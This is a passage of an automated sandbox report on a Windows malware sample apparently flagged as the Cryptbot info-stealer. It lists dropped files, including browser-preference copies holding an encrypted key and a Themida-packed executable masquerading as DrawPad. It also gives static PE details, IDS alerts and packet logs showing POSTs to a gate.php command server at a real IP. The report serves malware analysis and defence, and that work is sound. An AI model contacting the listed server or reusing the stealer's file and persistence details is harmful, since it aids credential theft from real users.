Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5BBA.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5C86.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5D43.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5E0F.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\5F39.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3048960
Entropy (8bit):	7.948072731974259
Encrypted:	false
SSDEEP:	49152:BolaFImQ5HiylxeQ6svoekQm2ZZRPfD24MWwPeCmgt7nGCuAwz:Bo0FY5CylxeZIVkJ2ZjHDpL/goCup
MD5:	C5AF489798080EF09451F8CC09E1C5E2
SHA1:	7C2D5D105727F865ED0BEA01D4CB5E9D3381CFA9
SHA-256:	9506D23D70B69A014CF0EF73AEBF3B20CDB61D513CFF63FF71DDBC3CDD16BC3A
SHA-512:	1E98EBFC011EF08869EE8AB88BDE8FE89816C3FAB28A8363134F0A1BE147EDE807669B87B7CADFE7E14AA671132B547F2564600482C89ECFC3835598FCC14ECC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.n............................M.......M.......M...E........................................................Rich............PE..L...$..c.....................L......0fI...........@...........................u.....}=/...@......................................................................................................................................................... .........z.................. ..` .........j...~..............@..@ .(..........................@... .....@......................@..@ .'...P..."..................@..B.idata..............................@....rsrc...............................@..@.themida..D.........................`....boot....h,..`I..h,.................`..`........................................................................................................................................

C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe

Download File

Process:	C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3048960
Entropy (8bit):	7.948072731974259
Encrypted:	false
SSDEEP:	49152:BolaFImQ5HiylxeQ6svoekQm2ZZRPfD24MWwPeCmgt7nGCuAwz:Bo0FY5CylxeZIVkJ2ZjHDpL/goCup
MD5:	C5AF489798080EF09451F8CC09E1C5E2
SHA1:	7C2D5D105727F865ED0BEA01D4CB5E9D3381CFA9
SHA-256:	9506D23D70B69A014CF0EF73AEBF3B20CDB61D513CFF63FF71DDBC3CDD16BC3A
SHA-512:	1E98EBFC011EF08869EE8AB88BDE8FE89816C3FAB28A8363134F0A1BE147EDE807669B87B7CADFE7E14AA671132B547F2564600482C89ECFC3835598FCC14ECC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.n............................M.......M.......M...E........................................................Rich............PE..L...$..c.....................L......0fI...........@...........................u.....}=/...@......................................................................................................................................................... .........z.................. ..` .........j...~..............@..@ .(..........................@... .....@......................@..@ .'...P..."..................@..B.idata..............................@....rsrc...............................@..@.themida..D.........................`....boot....h,..`I..h,.................`..`........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.584609694314608
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1icHGAo2uY.exe
File size:	3613696
MD5:	9fdc2feb79c86790bee69e140ed9b1b9
SHA1:	7eed01f680a97a7e5ff0b8b39faea9590c2f3dc0
SHA256:	29842f71bd503e86896ae4b274aa21a0eaa67144ad83e2df89072ea8e8458fd0
SHA512:	aa5d2dce9531f7a93b4df56ddc0d83c7883e321f13e5621db6d8e0272d7bca7423e42b696bed32d129f318cccc23c733653ddffac5e11ae20c56827a84287322
SSDEEP:	49152:dI6bpIhA/AvsW8KACfAYDQ5bxaB2sro4Q3TGIJpbL8JDar++RPLcxJBU4L:xbhRMkbO21TTdLpQ/
TLSH:	6DF5AE09DDB9A5ABCCBC992C2097CA7A4D9C8F488235DC79E85C8D3F69693433D6350C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].......................................................Rich....................PE..L...QqLc.................X6................

File Icon


Icon Hash:	9280ac8e86aa9a92

Static PE Info

General

Entrypoint:	0x401204
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x634C7151 [Sun Oct 16 21:02:09 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	da632712d5c4dea729db1c34d89d62c7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
mov edx, dword ptr [ebp+08h]
mov dword ptr [0076816Ch], 00401148h
mov dword ptr [00768168h], 00768060h
mov dword ptr [00768170h], 00768064h
test edx, edx
je 00007F590472DD08h
lea ecx, dword ptr [edx+30h]
call 00007F590472DBA9h
test al, al
jne 00007F590472DCFCh
call 00007F590472DB8Ch
test al, al
jne 00007F590472DCF3h
movsx ecx, byte ptr [00768068h]
imul ecx, edx
call 00007F5904A930A8h
jmp 00007F590472DCEBh
and dword ptr [00000000h], 00000000h
xor eax, eax
pop ebp
retn 0010h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
add eax, 0Eh
push eax
push 0000000Eh
push ecx
call dword ptr [00767008h]
add esp, 0Ch
pop ebp
ret
mov eax, edx
mov byte ptr [ecx], dl
shr eax, 10h
mov byte ptr [ecx+02h], al
mov eax, edx
shr eax, 18h
shr edx, 08h
mov byte ptr [ecx+03h], al
mov byte ptr [ecx+01h], dl
ret
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword ptr [00768168h]
mov edx, 3D3C373Ah
push esi
mov esi, ecx
mov ecx, ebx
push edi
mov dword ptr [ebp-04h], esi
call 00007F590472DCADh
mov edi, dword ptr [00768170h]
mov edx, EC95E622h
mov ecx, edi
call 00007F590472DC9Bh
lea ecx, dword ptr [ebx+esi*4]
mov edx, 6D77648Ch
call 00007F590473DC8Eh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x367250	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x369000	0x972c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x373000	0x28cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x367170	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x367000	0x10	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x365618	0x365800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x367000	0x2c8	0x400	False	0.431640625	data	3.638792605962732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x368000	0x174	0x200	False	0.1015625	data	0.7575749363260909	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x369000	0x972c	0x9800	False	0.22327302631578946	data	5.515639924903794	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x373000	0x28cc	0x2a00	False	0.5052083333333334	data	4.419047216228076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3690e8	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States
RT_GROUP_ICON	0x372590	0x14	data	English	United States
RT_MANIFEST	0x3725a4	0x188	exported SGML document, ASCII text	English	United States

Imports

DLL	Import
ntdll.dll	memset
KERNEL32.dll	_llseek

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.78.8.8.859477532023883 10/18/22-13:28:03.133913	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	59477	53	192.168.2.7	8.8.8.8
192.168.2.780.76.42.14149700802038918 10/18/22-13:28:03.845341	TCP	2038918	ET TROJAN Win32/Cryptbotv2 Activity (POST)	49700	80	192.168.2.7	80.76.42.141
192.168.2.780.76.42.14149700802022985 10/18/22-13:28:03.845341	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49700	80	192.168.2.7	80.76.42.141
192.168.2.780.76.42.14149700802017930 10/18/22-13:28:03.845341	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49700	80	192.168.2.7	80.76.42.141

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2022 13:28:03.786529064 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.841135025 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.841336966 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.845340967 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.845518112 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.845623970 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.845803976 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.845990896 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.900885105 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.900919914 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.900983095 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.901171923 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.901379108 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.901813984 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.902873039 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.902920008 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.903042078 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.903280973 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.903345108 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.903585911 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.903693914 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.903752089 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.955462933 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.955495119 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.955579042 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.955713034 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.955780983 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.955862045 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.955959082 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.957614899 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.957726002 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.957747936 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.957828999 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.957897902 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.957974911 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.958095074 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.958129883 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.958164930 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.958183050 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:03.958211899 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:03.958237886 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.022680044 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022737026 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022749901 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022758961 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022767067 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022774935 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022783995 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022794008 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022804022 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022816896 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022830963 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022845030 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022859097 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022871017 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022902012 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.022913933 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.023101091 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.023308992 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.023372889 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.036391973 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.036534071 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.036653042 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.036828041 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.077459097 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.077487946 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.077636957 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.077801943 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.077912092 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.078098059 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.078222036 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.078274012 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.078444958 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.078548908 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.127010107 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127048016 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127062082 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127070904 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127079964 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127088070 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127100945 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127114058 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127127886 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127141953 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.127537012 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.127696991 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.127752066 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.127806902 CEST	49700	80	192.168.2.7	80.76.42.141
Oct 18, 2022 13:28:04.132108927 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.132164955 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.132179022 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.132277012 CEST	80	49700	80.76.42.141	192.168.2.7
Oct 18, 2022 13:28:04.132404089 CEST	49700	80	192.168.2.7	80.76.42.141
